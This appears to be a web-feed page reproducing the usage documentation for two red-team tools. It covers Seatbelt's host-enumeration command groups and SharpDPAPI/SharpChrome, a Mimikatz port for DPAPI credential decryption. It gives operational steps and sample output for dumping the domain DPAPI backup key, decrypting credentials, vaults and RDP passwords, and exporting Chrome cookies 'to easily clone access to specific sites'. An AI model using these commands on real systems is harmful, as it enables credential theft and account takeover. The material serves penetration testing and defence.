LocalGPOs, LocalGroups, LocalUsers, LogonSessions,
LSASettings, McAfeeConfigs, NamedPipes, NetworkProfiles,
NetworkShares, NTLMSettings, OSInfo, PoweredOnEvents,
PowerShell, Processes, PSSessionSettings, RDPSessions,
RDPsettings, SCCM, Services, Sysmon,
TcpConnections, TokenPrivileges, UAC, UdpConnections,
UserRightAssignments, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding,
WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding,
WSUS

"Seatbelt.exe -group=slack" runs the following commands:

SlackDownloads, SlackPresence, SlackWorkspaces

"Seatbelt.exe -group=chromium" runs the following commands:

ChromiumBookmarks, ChromiumHistory, ChromiumPresence

"Seatbelt.exe -group=remote" runs the following commands:

AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials,
DNSCache, DotNet, DpapiMasterKeys, E nvironmentVariables,
ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes,
InterestingProcesses, KeePass, LastShutdown, LocalGroups,
LocalUsers, LogonEvents, LogonSessions, LSASettings,
MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings,
OSInfo, PoweredOnEvents, PowerShell, ProcessOwners,
PSSessionSettings, PuttyHostKeys, PuttySessions, RDPSavedConnections,
RDPSessions, RDPsettings, Sysmon, WindowsDefender,
WindowsEventForwarding, WindowsFirewall

"Seatbelt.exe -group=misc" runs the following commands:

ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, FileInfo, FirefoxHistory,
InstalledProducts, InterestingFiles, LogonEvents, LOLBAS,
McAfeeSiteList, MicrosoftUpdates, OutlookDownloads, PowerShellEvents,
Printers, ProcessCreationEvents, ProcessOwners, RecycleBin,
reg, RPCMappedEndpoints, Sche duledTasks, SearchIndex,
SecurityPackages, SysmonEvents


Examples:
'Seatbelt.exe <Command> [Command2] ...' will run one or more specified checks only
'Seatbelt.exe <Command> -full' will return complete results for a command without any filtering.
'Seatbelt.exe "<Command> [argument]"' will pass an argument to a command that supports it (note the quotes).
'Seatbelt.exe -group=all' will run ALL enumeration checks, can be combined with "-full".
'Seatbelt.exe <Command> -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run an applicable check remotely
'Seatbelt.exe -group=remote -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run remote specific checks
'Seatbelt.exe -group=system -outputfile="C:\Temp\out.txt"' will run system checks and output to a .txt file.
'Seatbelt.exe -group=user -q -outputfile="C:\Temp\ou t.json"' will run in quiet mode with user checks and output to a .json file.

Note: searches that target users will run for the current user if not-elevated and for ALL users if elevated.

A more detailed wiki is coming...


Command Groups

Note: many commands do some type of filtering by default. Supplying the -full argument prevents filtering output. Also, the command group all will run all current checks.

For example, the following command will run ALL checks and returns ALL output:

Seatbelt.exe -group=all -full


system

Runs checks that mine interesting data about the system.

Executed with: Seatbelt.exe -group=system

CommandDescription
AMSIProvidersProviders registered for AMSI
AntiVirusRegistered antivirus (via WMI)
AppLockerAppLocker settings, if installed
ARPTableLists the current ARP table and adapter information(equivalent to arp -a)
AuditPoliciesEnumerates classic and advanced audit policy settings
AuditPolicyRegistryAudit settings via the registry
AutoRunsAuto run executables/scripts/programs
CredGuardCredentialGuard configuration
DNSCacheDNS cache entries (via WMI)
DotNetDotNet versions
EnvironmentPathCurrent environment %PATH$ folders and SDDL information
EnvironmentVariablesCurrent user environment variables
HotfixesInstalled hotfixes (via WMI)
InterestingProcesses"Interesting" processes - defensive products and admin tools
InternetSettingsInternet settings including proxy configs
LAPSLAPS settings, if installed
LastShutdownReturns the DateTime of the last system shutdown (via the registry)
LocalGPOsLocal Group Policy settings applied to the machine/local users
LocalGroupsNon-empty local groups, "full" displays all groups (argument == computername to enumerate)
LocalUsersLocal users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
LogonSessionsLogon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
LSASettingsLSA settings (including auth packages)
McAfeeConfigsFinds McAfee configuration files
NamedPipesNamed pipe names and any readable ACL information
NetworkProfilesWindows network profiles
NetworkSharesNetwork shares exposed by the machine (via WMI)
NTLMSettingsNTLM authentication settings
OSInfoBasic OS info (i.e. architecture, OS version, etc.)
PoweredOnEventsReboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
PowerShellPowerShell versions and security settings
ProcessesRunning processes with file info company names that don't contain 'Microsoft', "full" enumerates all processes
PSSessionSettingsEnumerates PS Session Settings from the registry
RDPSessionsCurrent incoming RDP sessions (argument == computername to enumerate)
RDPsettingsRemote Desktop Server/Client Settings
SCCMSystem Center Configuration Manager (SCCM) settings, if applicable
ServicesServices with file info company names that don't contain 'Microsoft', "full" dumps all processes
SysmonSysmon configuration from the registry
TcpConnectionsCurrent TCP connections and their associated processes and services
TokenPrivilegesCurrently enabled token privileges (e.g. SeDebugPrivilege/etc.)
UACUAC system policies via the registry
UdpConnectionsCurrent UDP connections and associated processes and services
UserRightAssignmentsConfigured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
WindowsAutoLogonRegistry autologon information
WindowsDefenderWindows Defender settings (including exclusion locations)
WindowsEventForwardingWindows Event Forwarding (WEF) settings via the registry
WindowsFirewallNon-standard firewall rules, "full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
WMIEventConsumerLists WMI Event Consumers
WMIEventFilterLists WMI Event Filters
WMIFilterBindingLists WMI Filter to Consumer Bindings
WSUSWindows Server Update Services (WSUS) settings, if applicable

user

Runs checks that mine interesting data about the currently logged on user (if not elevated) or ALL users (if elevated).

Executed with: Seatbelt.exe -group=user

CommandDescription
ChromePresenceChecks if interesting Google Chrome files exist
CloudCredentialsAWS/Google/Azure cloud credential files
CredEnumEnumerates the current user's saved credentials using CredEnumerate()
dirLists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == <directory> <depth> <regex>
DpapiMasterKeysList DPAPI master keys
ExplorerMRUsExplorer most recently used files (last 7 days, argument == last X days)
ExplorerRunCommandsRecent Explorer "run" commands
FileZillaFileZilla configuration files
FirefoxPresenceChecks if interesting Firefox files exist
IdleTimeReturns the number of seconds since the current user's last input.
IEFavoritesInternet Explorer favorites
IETabsOpen Internet Explorer tabs
IEUrlsInternet Explorer typed URLs (last 7 days, argument == last X days)
MappedDrivesUsers' mapped drives (via WMI)
OfficeMRUsOffice most recently used file list (last 7 days)
PowerShellHistoryIterates through every local user and attempts to read their PowerShell console history if successful will print it
PuttyHostKeysSaved Putty SSH host keys
PuttySessionsSaved Putty configuration (interesting fields) and SSH host keys
RDCManFilesWindows Remote Desktop Connection Manager settings files
RDPSavedConnectionsSaved RDP connections stored in the registry
SecPackageCredsObtains credentials from security packages
SlackDownloadsParses any found 'slack-downloads' files
SlackPresenceChecks if interesting Slack files exist
SlackWorkspacesParses any found 'slack-workspaces' files
SuperPuttySuperPutty configuration files
TokenGroupsThe current token's local and domain groups
WindowsCredentialFilesWindows credential DPAPI blobs
WindowsVaultCredentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).

misc

Runs all miscellaneous checks.

Executed with: Seatbelt.exe -group=misc

CommandDescription
ChromeBookmarksParses any found Chrome bookmark files
ChromeHistoryParses any found Chrome history files
ExplicitLogonEventsExplicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
FileInfoInformation about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
FirefoxHistoryParses any found FireFox history files
HuntLolbasLocates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
InstalledProductsInstalled products via the registry
InterestingFiles"Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
LogonEventsLogon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
McAfeeSiteListDecrypt any found McAfee SiteList.xml configuration files.
MicrosoftUpdatesAll Microsoft updates (via COM)
OutlookDownloadsList files downloaded by Outlook
PowerShellEventsPowerShell script block logs (4104) with sensitive data.
PrintersInstalled Printers (via WMI)
ProcessCreationEventsProcess creation logs (4688) with sensitive data.
ProcessOwnersRunning non-session 0 process list with owners. For remote use.
RecycleBinItems in the Recycle Bin deleted in the last 30 days - only works from a user context!
regRegistry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
RPCMappedEndpointsCurrent RPC endpoints mapped
ScheduledTasksScheduled tasks (via WMI) that aren't authored by 'Microsoft', "full" dumps all Scheduled tasks
SearchIndexQuery results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
SecurityPackagesEnumerates the security packages currently available using EnumerateSecurityPackagesA()
SysmonEventsSysmon process creation logs (1) with sensitive data.

Additional Command Groups

Executed with: Seatbelt.exe -group=GROUPNAME

AliasDescription
SlackRuns modules that start with "Slack*"
ChromeRuns modules that start with "Chrome*"
RemoteRuns the following modules (for use against a remote system): AMSIProviders, AntiVirus, DotNet, ExplorerRunCommands, Hotfixes, InterestingProcesses, LastShutdown, LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, PowerShell, ProcessOwners, PuttyHostKeys, PuttySessions, RDPSavedConnections, RDPSessions, RDPsettings, Sysmon, WindowsDefender, WindowsEventForwarding, WindowsFirewall

Command Arguments

Command that accept arguments have it noted in their description. To pass an argument to a command, enclose the command an arguments in double quotes.

For example, the following command returns 4624 logon events for the last 30 days:

Seatbelt.exe "LogonEvents 30"

The following command queries a registry three levels deep, returning only keys/valueNames/values that match the regex .*defini.*, and ignoring any errors that occur.

Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"


Output

Seatbelt can redirect its output to a file with the -outputfile="C:\Path\file.txt" argument. If the file path ends in .json, the output will be structured json.

For example, the following command will output the results of system checks to a txt file:

Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"


Remote Enumeration

Commands noted with a + in the help menu can be run remotely against another system. This is performed over WMI via queries for WMI classes and WMI's StdRegProv for registry enumeration.

To enumerate a remote system, supply -computername=COMPUTER.DOMAIN.COM - an alternate username and password can be specified with -username=DOMAIN\USER -password=PASSWORD

For example, the following command runs remote-focused checks against a remote system:

Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""


Building Your Own Modules

Seatbelt's structure is completely modular, allowing for additional command modules to be dropped into the file structure and loaded up dynamically.

There is a commented command module template at .\Seatbelt\Commands\Template.cs for reference. Once built, drop the module in the logical file location, include it in the project in the Visual Studio Solution Explorer, and compile.


Compile Instructions

We are not planning on releasing binaries for Seatbelt, so you will have to compile yourself.

Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with Visual Studio Community Edition. Simply open up the project .sln, choose "release", and build. To change the target .NET framework version, modify the project's settings and rebuild the project.


Acknowledgments

Seatbelt incorporates various collection items, code C# snippets, and bits of PoCs found throughout research for its capabilities. These ideas, snippets, and authors are highlighted in the appropriate locations in the source code, and include:

We've tried to do our due diligence for citations, but if we've left someone/something out, please let us know!



SharpDPAPI - A C# Port Of Some Mimikatz DPAPI Functionality

$
0
0

SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.

I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.

The SharpChrome subproject is an adaptation of work from @gentilkiwi and @djhohnstein, specifically his SharpChrome project. However, this version of SharpChrome uses a different version of the C# SQL library that supports lockless opening. SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.

Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.

SharpChrome also uses an minimized version of @AArnott's BCrypt P/Invoke code released under the MIT License.

If you're unfamiliar with DPAPI, check out this post for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's wiki entry on the subject.

@harmj0y is the primary author of this port.

SharpDPAPI is licensed under the BSD 3-Clause license.


Background

SharpDPAPI Command Line Usage
  __                 _   _       _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.0



Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:

search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]


Machine/SYSTEM Triage:

machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecre dentials - use 'machinemasterkeys' and then triage machine Credential files
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
machinetriage - run the 'machinecredentials' and 'machinevaults' commands


User Triage:

Arguments for the 'masterkeys' command:

/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely)
/server:SERVER - triage a remote server, assuming admin access


Arguments for the credential s|vaults|rdg|keepass|triage|blob|ps commands:

Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys

Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands


Certificate Triage:

Arguments for the 'certificates' command:
/showall - show all decrypted private key files, not just ones that are linked to installed certs (the default)
/machine - use the local machine store for certificate triage
/mkfile | /target - for /machine triage
/pvk | /mkfile | /password | /server | /target - for user triage


Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
These functions wrap all the other applicable functions that can be automatic ally run.

SharpChrome Command Line Usage
  __                 _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.9.0


Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Global arguments for the 'cookies', 'logins', and 'statekeys' commands:

Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to f irst decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/statekey:X - a decrypted AES state key (from the 'statekeys' command)

Targeting:
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
/target:C:\Users\X\ - triage a specific user folder for any specified command
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'

Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/consoleoutfile:X - output all console output to a file on disk


'cookies' command specific arguments:

/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)

Operational Usage

SharpDPAPI

One of the goals with SharpDPAPI is to operationalize Benjamin's DPAPI work in a way that fits with our workflow.

How exactly you use the toolset will depend on what phase of an engagement you're in. In general this breaks into "have I compromised the domain or not".

If domain admin (or equivalent) privileges have been obtained, the domain DPAPI backup key can be retrieved with the backupkey command (or with Mimikatz). This domain private key never changes, and can decrypt any DPAPI masterkeys for domain users. This means, given a domain DPAPI backup key, an attacker can decrypt masterkeys for any domain user that can then be used to decrypt any Vault/Credentials/Chrome Logins/other DPAPI blobs/etc. The key retrieved from the backupkey command can be used with the masterkeys, credentials, vaults, rdg, or triage commands.

If DA privileges have not been achieved, using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to the credentials, vaults, rdg, or triage commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, withou t having to do file-by-file decrypts.

For decrypting RDG/RDCMan.settings files with the rdg command, the /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

For machine-specific DPAPI triage, the machinemasterkeys|machinecredentials|machinevaults|machinetriage commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc.

For more offensive DPAPI information, check here.


SharpChrome

SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of cookies and logins decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.

Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A /pvk:[BASE64|file.pvk], {GUID}:SHA1 lookup table, /password:X, or /mkfile:FILE of {GUID}:SHA1 values can also be used to decrypt values. Also, the C# SQL library used (with a few modifications) supports lockless opening, meaning that Chrome does not have to be closed/target files do not have to be copied to another location.

If Chrome is version 80+, an AES state key is stored in AppData\Local\Google\Chrome\User Data\Local State - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when /browser:edge or /browser:brave is specified, for newer Chromium-based Edge browser triage.

By default, cookies and logins are displayed as a csv - this can be changed with /format:table for table output, and /format:json for cookies specifically. The json option outputs cookies in a json format that can be imported into the EditThisCookie Chrome extension for easy reuse.

The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.

Specific cookies/logins/statekey files can be specified with /target:X, and a user folder can be specified with /target:C:\Users\USER\ for any triage command.


SharpDPAPI Commands

User Triage

masterkeys

The masterkeys command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings.

The domain backup key can be in base64 form (/pvk:BASE64...) or file form (/pvk:key.pvk).

C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

credentials

The credentials command will search for Credential files and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific credential file (or folder of credentials) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

If run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed.

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB

guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data

LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlia s :
Comment :
UserName : DOMAIN\user
Credential : Password!

...(snip)...

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB

guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Dat a

LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!

...(snip)...

vaults

The vaults command will search for Vaults and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.

A specific vault folder can be specified with /target:C:\Folder\. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84C D64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!

...(snip)...

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCry pt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!

...(snip)...

Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage):

C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password

rdg

The rdg command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values (or /unprotect) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.

Using /unprotect to decrypt any found passwords:

C:\Temp>SharpDPAPI.exe rdg /unprotect

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!

C: \Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!

Using domain {GUID}:SHA1 masterkey mappings:

